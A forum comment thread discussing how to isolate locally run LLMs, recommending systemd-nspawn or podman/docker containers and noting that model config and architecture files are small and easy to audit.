Comment by ZYbCRq22HbJ2y7

Probably nspawn[0]. Think of it like chroot on steroids and not as heavy as docker. You can run these containers in an empirical mode, so modifications are not permanent. Like typical systemd you can also limit read/write access, networking, and anything else you want. This can even include things like limiting commands and all that. So you can make the program only able to run in its scope, only read, and only use a very limited command set.

Not the most secure thing, but you can move up to a VM, then probably want a network gaped second machine if you're seriously concerned but not enough to go offsite.

[0] https://wiki.archlinux.org/title/Systemd-nspawn

The attack surface area for local LLMs is much smaller than almost any program that you would download. Make sure you trust whatever LLM execution stack is being used (apparently MLX here? I'm not familiar with that one specifically), and then the amount of additional code associated with a given LLM should be tiny - most of it is a weight blob that may be tough to understand but can't really do anything nefarious, data just passes through it.

Again, not sure what MLX does but c.f. the files for DeepSeek-R1 on huggingface: https://huggingface.co/deepseek-ai/DeepSeek-R1/tree/main

Two files contain arbitrary executable code - one defines a simple config on top of a common config class, the other defines the model architecture. Even if you can't verify yourself that nothing sneaky is happening, it's easy for the community because the structure of valid config+model definition files is so tightly constrained - no network calls, no filesystem access, just definitions of (usually pytorch) model layers that get assembled into a computation graph. Anything deviating from that form is going to stand out. It's quite easy to analyze.

Running it in a podman/docker container would be more than sufficient and is probably the easiest approach.